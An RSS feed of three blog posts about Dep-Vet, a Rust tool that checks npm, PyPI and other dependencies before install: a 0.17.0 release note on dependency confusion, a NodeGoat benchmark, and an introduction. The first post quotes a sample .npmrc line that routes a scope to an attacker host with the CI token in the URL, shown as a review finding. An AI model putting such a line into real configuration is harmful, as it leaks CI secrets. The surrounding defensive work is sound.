<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: yassine nassih</title>
    <description>The latest articles on DEV Community by yassine nassih (@nassihyassine).</description>
    <link>https://dev.to/nassihyassine</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F914137%2Fc25cd1d7-938d-4e09-9ea3-477865fbc8ba.jpeg</url>
      <title>DEV Community: yassine nassih</title>
      <link>https://dev.to/nassihyassine</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/nassihyassine"/>
    <language>en</language>
    <item>
      <title>Dependency confusion is a config bug: what dep-vet 0.17.0 checks</title>
      <dc:creator>yassine nassih</dc:creator>
      <pubDate>Thu, 26 Nov 2026 16:57:56 +0000</pubDate>
      <link>https://dev.to/nassihyassine/dependency-confusion-is-a-config-bug-what-dep-vet-0170-checks-44ei</link>
      <guid>https://dev.to/nassihyassine/dependency-confusion-is-a-config-bug-what-dep-vet-0170-checks-44ei</guid>
      <description>&lt;p&gt;Most supply-chain tools assume every package comes from the public registry. That assumption is wrong for any company with an internal registry, and it is exactly where dependency confusion lives: a package named &lt;code&gt;@acme/billing&lt;/code&gt; that nobody published publicly, and someone else eventually does.&lt;/p&gt;

&lt;p&gt;dep-vet 0.17.0 reads private npm and PyPI registries instead of pretending they don't exist, and it reports the confusion condition rather than leaving it to a wiki page.&lt;/p&gt;

&lt;h2&gt;
  
  
  The check
&lt;/h2&gt;

&lt;p&gt;When a name is routed to a private registry, dep-vet asks the public registry once whether that name exists there:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HIGH&lt;/strong&gt; when the public copy is the same or a newer version — the copy an unpinned resolver would install&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WARN&lt;/strong&gt; when only older versions exist — the next public bump would shadow the private one&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;INFO&lt;/strong&gt; when the probe fails — never silence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The probe is unauthenticated, asks the public registry directly (never a mirror that configuration could point somewhere else), and its answer is never cached. Set &lt;code&gt;probe_public = false&lt;/code&gt; on a registry that intentionally mirrors public packages.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part that took longer than the check
&lt;/h2&gt;

&lt;p&gt;Routing a package is easy. Deciding &lt;em&gt;who&lt;/em&gt; may route it is the actual design problem, because &lt;code&gt;.depvet.toml&lt;/code&gt; lives in the repository and a pull request can edit it.&lt;/p&gt;

&lt;p&gt;The trust model is: &lt;strong&gt;a repository may route; only you may authenticate or reach inward.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;[[registries]]&lt;/code&gt; in &lt;code&gt;.depvet.toml&lt;/code&gt; can point a scope or prefix at a host.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;auth = "env:ACME_NPM_TOKEN"&lt;/code&gt; is only read from &lt;code&gt;~/.config/dep-vet/registries.toml&lt;/code&gt;. An &lt;code&gt;auth&lt;/code&gt; key in a repository file is exit &lt;code&gt;3&lt;/code&gt;, not a silent ignore.&lt;/li&gt;
&lt;li&gt;Only user-level configuration (your own &lt;code&gt;registries.toml&lt;/code&gt;, &lt;code&gt;~/.npmrc&lt;/code&gt;, pip's config) may exempt a host from the public-address rule or disable the probe.&lt;/li&gt;
&lt;li&gt;A project &lt;code&gt;.npmrc&lt;/code&gt; never expands &lt;code&gt;${VAR}&lt;/code&gt; and its &lt;code&gt;registry=&lt;/code&gt; is ignored.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last point was a real finding in the pre-release review. A &lt;code&gt;.npmrc&lt;/code&gt; containing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="na"&gt;@acme:registry&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//attacker.example/${GH_TOKEN}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;would have expanded the workflow token into the request path. The fix is not a regex over the URL; it is not letting a repository file read the environment at all.&lt;/p&gt;

&lt;p&gt;The reusable CI workflow already substitutes &lt;code&gt;.depvet.toml&lt;/code&gt; from the base revision, so a PR cannot add routes. It now sets &lt;code&gt;DEPVET_NO_NPMRC=1&lt;/code&gt; too, because &lt;code&gt;.npmrc&lt;/code&gt; was not being substituted and could still reroute every name.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it reads
&lt;/h2&gt;

&lt;p&gt;npm packuments are familiar. Private Python indexes are not: most of them expose only the simple API, not PyPI's &lt;code&gt;/pypi/{name}/json&lt;/code&gt;. dep-vet reads the PEP 691 JSON representation (versions, yank state, sdist-only, PEP 700 upload times), and reports what the index cannot answer — maintainers, license, repository — as &lt;code&gt;not checked&lt;/code&gt; instead of inventing it.&lt;/p&gt;

&lt;p&gt;Discovery follows the tools you already configured: &lt;code&gt;@scope:registry&lt;/code&gt; from &lt;code&gt;.npmrc&lt;/code&gt;, and &lt;code&gt;PIP_INDEX_URL&lt;/code&gt;, &lt;code&gt;PIP_EXTRA_INDEX_URL&lt;/code&gt;, and &lt;code&gt;pip.conf&lt;/code&gt; for Python, with extra indexes tried in order when a name is missing from the primary. &lt;code&gt;DEPVET_NO_NPMRC=1&lt;/code&gt; and &lt;code&gt;DEPVET_NO_PIP_CONFIG=1&lt;/code&gt; turn that off.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rest of 0.17.0
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;--jobs&lt;/code&gt; replaced fixed batches.&lt;/strong&gt; Audits used to run four at a time and wait for the slowest package in each batch. A worker pool pulls indices from an atomic instead, results still land in lockfile order, and &lt;code&gt;--jobs&lt;/code&gt; (or &lt;code&gt;DEPVET_JOBS&lt;/code&gt;) defaults to cores capped at 8. On the 1,090-package OWASP NodeGoat lockfile the cold run went from &lt;strong&gt;118.26 s to 47.21 s&lt;/strong&gt;, and 27.90 s at &lt;code&gt;--jobs 16&lt;/code&gt; with identical findings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;--fail-on&lt;/code&gt; moves the threshold.&lt;/strong&gt; &lt;code&gt;--fail-on high&lt;/code&gt; reports warnings and exits &lt;code&gt;0&lt;/code&gt; unless a HIGH finding exists; &lt;code&gt;--fail-on info&lt;/code&gt; fails on any finding. JSON and SARIF carry the same effective &lt;code&gt;exit_code&lt;/code&gt; as the process. Commands whose exit code is not a finding verdict refuse the flag instead of ignoring it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Typosquat seeds are generated.&lt;/strong&gt; crates.io, NuGet, and PyPI now come from each registry's keyless download ranking (npm already did), unioned with the previous list so a curated name cannot disappear, with anchors and a 200-line diff cap in the weekly refresh. Pure reorderings are caught too: &lt;code&gt;dateutil-python&lt;/code&gt; against &lt;code&gt;python-dateutil&lt;/code&gt; is one move, not four edits.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limits
&lt;/h2&gt;

&lt;p&gt;Private-registry support is npm and PyPI. Routing is by scope or name prefix; a routed name never falls back to the public registry. Registries that expose only an HTML simple index are refused rather than scraped. The confusion probe is one lookup, not a proof of ownership, and an unpinned install outside dep-vet is still the thing that gets hurt.&lt;/p&gt;

&lt;p&gt;The release is on GitHub, crates.io, and npm as &lt;code&gt;0.17.0&lt;/code&gt;. The changelog lists every rule change, including the one where a real crate called &lt;code&gt;unty&lt;/code&gt; sat one edit from &lt;code&gt;funty&lt;/code&gt; and made our own dogfood job fail.&lt;/p&gt;

</description>
      <category>rust</category>
      <category>security</category>
      <category>npm</category>
      <category>python</category>
    </item>
    <item>
      <title>A real dependency audit: 1,090 packages, 118 seconds cold, 1.5 seconds warm</title>
      <dc:creator>yassine nassih</dc:creator>
      <pubDate>Wed, 25 Nov 2026 21:23:16 +0000</pubDate>
      <link>https://dev.to/nassihyassine/a-real-dependency-audit-1090-packages-118-seconds-cold-15-seconds-warm-3oao</link>
      <guid>https://dev.to/nassihyassine/a-real-dependency-audit-1090-packages-118-seconds-cold-15-seconds-warm-3oao</guid>
      <description>&lt;p&gt;&lt;em&gt;Every "is this safe?" check pays a network cost the first time. Here is what that cost actually is, measured on a real lockfile.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I keep saying that checking a dependency before you install it is cheap. "Cheap" is the kind of word that hides a number, so I measured the number instead.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/NodeGoat" rel="noopener noreferrer"&gt;OWASP NodeGoat&lt;/a&gt; is a deliberately vulnerable Node app. Its lockfile is from 2023, which makes it a useful stress test: real package shapes, real advisories, a thousand nodes.&lt;/p&gt;

&lt;p&gt;The run is pinned to one commit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/OWASP/NodeGoat
git checkout c5cb68a7084e4ae7dcc60e6a98768720a81841e8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Machine: 11th-gen Intel i7-11800H, Linux, 16 threads. Tool: &lt;a href="https://github.com/nassih-yassine/Dep-Vet" rel="noopener noreferrer"&gt;Dep-Vet&lt;/a&gt; 0.16.0, release build, 19 MB binary. The cache is isolated in a temporary directory, so this is a genuine cold start and it does not touch my normal cache.&lt;/p&gt;

&lt;h2&gt;
  
  
  The result
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Run&lt;/th&gt;
&lt;th&gt;Wall time&lt;/th&gt;
&lt;th&gt;Packages&lt;/th&gt;
&lt;th&gt;Exit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cold&lt;/td&gt;
&lt;td&gt;118.26 s&lt;/td&gt;
&lt;td&gt;1,090&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Warm&lt;/td&gt;
&lt;td&gt;1.45 s&lt;/td&gt;
&lt;td&gt;1,090&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;82× between the two runs, on the same input, with the same output.&lt;/p&gt;

&lt;p&gt;The cold run left 1,866 cache entries behind, 115 MiB total. That is the actual cost of the first audit: every packument, every advisory batch and detail page, every EPSS and KEV lookup, and the download counts. Nothing is loaded in the background, nothing is preloaded on install, and no daemon is running between audits.&lt;/p&gt;

&lt;p&gt;The warm run reads all of it from SQLite and finishes in under two seconds.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the two numbers matter differently
&lt;/h2&gt;

&lt;p&gt;A cold run happens once per machine. The number that governs your day is the warm one, because almost every real check is a diff:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The CI action runs &lt;code&gt;dep-vet lock&lt;/code&gt; on a pull request, so it checks &lt;em&gt;added&lt;/em&gt; packages, not the whole tree.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;watch&lt;/code&gt; re-audits when the lockfile changes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;guard&lt;/code&gt; runs before an install command, and only on the packages being installed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the honest framing is not "a 1,000-package audit takes two minutes". It is: the first audit of a tree costs a couple of minutes of wall clock, and every audit after that costs about a second and a half.&lt;/p&gt;

&lt;p&gt;That distinction is also why the caching rules are conservative. Registry metadata is cached for 24 hours. Advisories are cached for five minutes, because a five-minute-old advisory list is fine and a day-old one is not. A warm run more than five minutes later will re-query OSV and take longer than 1.45 s — the number above is a genuinely warm run, not a best case with stale security data.&lt;/p&gt;

&lt;h2&gt;
  
  
  The exit code is part of the benchmark
&lt;/h2&gt;

&lt;p&gt;Both runs exit &lt;code&gt;3&lt;/code&gt;, and that is not a bug in the measurement.&lt;/p&gt;

&lt;p&gt;One dependency in that 2023 lockfile, &lt;code&gt;grunt-if@0.2.0&lt;/code&gt;, no longer exists on npm. Dep-Vet reports the 1,090 packages it could check — 210 HIGH findings across 101 packages, 356 WARN findings across 205 — and still refuses to print "clean":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;  could not check 1 package:
    grunt-if@0.2.0: &lt;span class="s1"&gt;'0.2.0'&lt;/span&gt; of &lt;span class="s1"&gt;'grunt-if'&lt;/span&gt; was not found on npm&lt;span class="o"&gt;;&lt;/span&gt; dep-vet takes
    an exact version or dist-tag, not a range
  this report is incomplete
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A package that was installable in 2023 and is gone in 2026 is a supply-chain event worth knowing about, not a parsing inconvenience. Exit &lt;code&gt;3&lt;/code&gt; is how the tool says "I could not finish" without pretending the rest of the tree is clean.&lt;/p&gt;

&lt;p&gt;That is also why a benchmark with a two-minute cold run is not a failure of the tool. The run made 1,866 metadata requests, with bounded retry and backoff, and then told the truth about the one thing it could not resolve.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this is not
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Not a comparison to &lt;code&gt;npm audit&lt;/code&gt;. That answers a different question (known advisories for versions already in the lockfile) with a different amount of work (one bulk request to the registry's audit endpoint). A faster number from a smaller check is not a faster tool.&lt;/li&gt;
&lt;li&gt;Not a claim about contemporary risk. NodeGoat is pinned to a deliberately old tree; the 101 HIGH packages are a property of the fixture, not of npm in 2026.&lt;/li&gt;
&lt;li&gt;Not a general speed claim. One machine, one lockfile, one run each. The script is in the repo so you can get your own numbers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Reproduce it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/nassih-yassine/Dep-Vet
&lt;span class="nb"&gt;cd&lt;/span&gt; Dep-Vet
cargo build --release
&lt;span class="nv"&gt;DEPVET_BIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./target/release/dep-vet examples/benchmark/run.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script clones NodeGoat to a temp directory, wipes an isolated cache, times &lt;code&gt;dep-vet audit package-lock.json&lt;/code&gt; twice, then prints the cache entry count and size. It writes nothing to &lt;code&gt;~/.cache/dep-vet&lt;/code&gt; and stores no results.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try the tool
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx @nassihyas/dep-vet npm express@5.3.0
npx @nassihyas/dep-vet audit package-lock.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repo: &lt;a href="https://github.com/nassih-yassine/Dep-Vet" rel="noopener noreferrer"&gt;https://github.com/nassih-yassine/Dep-Vet&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;MIT, no account, no API key, no analytics. One opt-outable update check is the only request that isn't a registry, advisory, or archive fetch.&lt;/p&gt;

</description>
      <category>performance</category>
      <category>devops</category>
      <category>rust</category>
      <category>security</category>
    </item>
    <item>
      <title>npm audit runs after the damage is done</title>
      <dc:creator>yassine nassih</dc:creator>
      <pubDate>Wed, 25 Nov 2026 19:22:41 +0000</pubDate>
      <link>https://dev.to/nassihyassine/npm-audit-runs-after-the-damage-is-done-5e0f</link>
      <guid>https://dev.to/nassihyassine/npm-audit-runs-after-the-damage-is-done-5e0f</guid>
      <description>&lt;p&gt;&lt;em&gt;Your dependency scanner runs too late — and here is what a pre-install check actually sees.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Installing a dependency is remote code execution by design.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npm install&lt;/code&gt; resolves a tree you did not read and runs &lt;code&gt;postinstall&lt;/code&gt; hooks&lt;br&gt;
before you have looked at the package once. A Python sdist runs a build&lt;br&gt;
backend. A maintainer account can change hands between two releases.&lt;/p&gt;

&lt;p&gt;And the tools most of us reach for answer a question that starts &lt;em&gt;after&lt;/em&gt; that&lt;br&gt;
moment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;npm audit&lt;/code&gt; tells you that a version already in your lockfile has a known
advisory. The install hook has already run.&lt;/li&gt;
&lt;li&gt;Dependabot and Renovate track updates to dependencies you already trust.&lt;/li&gt;
&lt;li&gt;OSV-Scanner reads lockfiles, which exist only after the install.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That gap — the few seconds where you decide to trust a package — is where&lt;br&gt;
supply-chain attacks live. &lt;code&gt;axios@1.14.1&lt;/code&gt; is the shape of it: one added&lt;br&gt;
dependency whose only job was a &lt;code&gt;postinstall&lt;/code&gt; hook. Transitive, invisible in&lt;br&gt;
&lt;code&gt;package.json&lt;/code&gt;, and already running by the time an audit exists.&lt;/p&gt;

&lt;p&gt;I built &lt;a href="https://github.com/nassih-yassine/Dep-Vet" rel="noopener noreferrer"&gt;Dep-Vet&lt;/a&gt; to check that&lt;br&gt;
moment. It is a single Rust binary that never installs or executes the package&lt;br&gt;
it inspects.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8yg682l2mi93dhep44x7.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8yg682l2mi93dhep44x7.gif" alt="Dep-Vet flagging the crossenv typosquat, then verifying an archive" width="799" height="582"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What a pre-install check can actually see
&lt;/h2&gt;

&lt;p&gt;For a package and an exact version, Dep-Vet reads public registry metadata and&lt;br&gt;
OSV, then asks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which advisories apply to &lt;em&gt;this&lt;/em&gt; version, and which have fixes?&lt;/li&gt;
&lt;li&gt;Is any CVE behind them in CISA KEV, or carrying a high EPSS score?&lt;/li&gt;
&lt;li&gt;Does npm run &lt;code&gt;preinstall&lt;/code&gt;/&lt;code&gt;install&lt;/code&gt;/&lt;code&gt;postinstall&lt;/code&gt; — and what do those commands
do?&lt;/li&gt;
&lt;li&gt;Is the name one edit away from something popular, or from something already in
my lockfile?&lt;/li&gt;
&lt;li&gt;Who published this version, and have they published this package before?&lt;/li&gt;
&lt;li&gt;Is there a provenance attestation, and for npm does its subject digest match
the tarball?&lt;/li&gt;
&lt;li&gt;What does the source repository's OpenSSF Scorecard say?&lt;/li&gt;
&lt;li&gt;What license is declared?&lt;/li&gt;
&lt;li&gt;What is inside the release archive, without executing it?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every finding links to the record that produced it. No risk score, because a&lt;br&gt;
number hides which signal fired and how strong the evidence is.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;$ npx @nassihyas/dep-vet npm crossenv
npm/crossenv@0.0.2-security

  verdict      HIGH &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt; 2&lt;span class="o"&gt;)&lt;/span&gt;
  first seen   2017-07-19
  published    2017-08-02
  maintainers  npm

  1 finding

  &lt;span class="o"&gt;[&lt;/span&gt;HIGH&lt;span class="o"&gt;]&lt;/span&gt;  name is close to a popular package
        &lt;span class="s1"&gt;'crossenv'&lt;/span&gt; is 1 edit&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; away from the popular package &lt;span class="s1"&gt;'cross-env'&lt;/span&gt;
        -&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://www.npmjs.com/package/crossenv/v/0.0.2-security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also audits an installed tree, diffs a lockfile against a base branch,&lt;br&gt;
resolves an npm range or a Maven POM tree before install, inspects a release&lt;br&gt;
archive, compares two releases, and scans GitHub Actions and MCP configs.&lt;/p&gt;
&lt;h2&gt;
  
  
  The rule I care about most: exit 3
&lt;/h2&gt;

&lt;p&gt;Most tools have two outcomes: findings or no findings. Dep-Vet has three, and&lt;br&gt;
the third is the important one:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;clean, or informational findings only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;warnings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;high risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the check could not run or could not finish&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Exit &lt;code&gt;3&lt;/code&gt; is not a verdict. It means a registry was down, a lockfile line could&lt;br&gt;
not be parsed, or a package could not be fetched. An incomplete audit is never&lt;br&gt;
reported as clean, because "we could not check" and "nothing is wrong" are&lt;br&gt;
different facts.&lt;/p&gt;

&lt;p&gt;This matters in CI. A script can fail the build on &lt;code&gt;2&lt;/code&gt; and treat &lt;code&gt;3&lt;/code&gt; as an&lt;br&gt;
infrastructure problem, instead of silently passing a half-checked tree.&lt;/p&gt;
&lt;h2&gt;
  
  
  Then I ran it against a real project
&lt;/h2&gt;

&lt;p&gt;The best test was not a fixture. It was a real, deliberately vulnerable app:&lt;br&gt;
&lt;a href="https://github.com/OWASP/NodeGoat" rel="noopener noreferrer"&gt;OWASP NodeGoat&lt;/a&gt;. The run is pinned to one&lt;br&gt;
commit in &lt;a href="https://github.com/nassih-yassine/Dep-Vet/tree/main/examples/nodegoat" rel="noopener noreferrer"&gt;&lt;code&gt;examples/nodegoat&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Two things happened.&lt;/p&gt;

&lt;p&gt;First, the audit did its job: it resolved 1,090 packages and found dozens of&lt;br&gt;
real advisories on old pinned versions.&lt;/p&gt;

&lt;p&gt;Second, it ended with exit &lt;code&gt;3&lt;/code&gt;, not &lt;code&gt;2&lt;/code&gt;. One dependency in that 2023 lockfile,&lt;br&gt;
&lt;code&gt;grunt-if@0.2.0&lt;/code&gt;, no longer exists on npm. Dep-Vet refused to call the tree&lt;br&gt;
clean because one package could not be checked. That is the exit-code contract&lt;br&gt;
working in public.&lt;/p&gt;

&lt;p&gt;And it found two bugs in Dep-Vet itself. Real npm packuments contain shapes the&lt;br&gt;
fixtures did not: &lt;code&gt;scripts&lt;/code&gt; values that are objects instead of strings, and a&lt;br&gt;
&lt;code&gt;repository&lt;/code&gt; field that is a list of objects. Both used to fail the whole&lt;br&gt;
package parse. Both are fixed now, with regression tests.&lt;/p&gt;

&lt;p&gt;That is the argument for dogfooding a security tool: the awkward input finds you&lt;br&gt;
before a user does.&lt;/p&gt;
&lt;h2&gt;
  
  
  Try it without installing anything
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx @nassihyas/dep-vet npm express@5.3.0
npx @nassihyas/dep-vet audit package-lock.json
npx @nassihyas/dep-vet guard --check -- npm i express
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or in CI, the reusable action diffs a pull request's lockfile and keeps one&lt;br&gt;
comment updated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;dependency review&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;pull-requests&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;dep-vet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nassih-yassine/Dep-Vet/.github/workflows/dep-vet.yml@v0.16.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For agents, there is a Claude Code hook and an MCP server. Here is OpenCode&lt;br&gt;
blocking an install through MCP:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyfdws1oco1o4flr5eppu.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyfdws1oco1o4flr5eppu.gif" alt="OpenCode calling dep-vet's vet_command over MCP and blocking npm install crossenv" width="799" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What it does not do
&lt;/h2&gt;

&lt;p&gt;It is not a replacement for &lt;code&gt;npm audit&lt;/code&gt;, Socket, or Dependabot. It adds the&lt;br&gt;
pre-install layer they skip.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It does not execute package code or extract archives to disk.&lt;/li&gt;
&lt;li&gt;It does not model transitive dependencies for a single-package check; use a
lockfile audit or &lt;code&gt;plan&lt;/code&gt; for that.&lt;/li&gt;
&lt;li&gt;It does not evaluate Maven profiles or multi-module reactors.&lt;/li&gt;
&lt;li&gt;It does not assign a score, and no LLM is in a verdict.&lt;/li&gt;
&lt;li&gt;Workflow and MCP scans are text passes with documented blind spots.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Coverage is honest per registry. npm, PyPI, crates.io, and Composer expose the&lt;br&gt;
most metadata. Go exposes advisories and versions. Anything a registry does not&lt;br&gt;
publish appears as &lt;code&gt;not checked&lt;/code&gt;, not as a pass.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback is more useful than stars
&lt;/h2&gt;

&lt;p&gt;If you try it, the useful reports are false positives and missing ecosystems,&lt;br&gt;
especially:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a finding you believe is wrong, with the package and version;&lt;/li&gt;
&lt;li&gt;a lockfile format it misreads;&lt;/li&gt;
&lt;li&gt;a workflow or MCP config pattern it misses.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/nassih-yassine/Dep-Vet" rel="noopener noreferrer"&gt;https://github.com/nassih-yassine/Dep-Vet&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;MIT, no account, no API key, no analytics. One opt-outable update check is the&lt;br&gt;
only request that isn't a registry, advisory, or archive fetch.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>rust</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
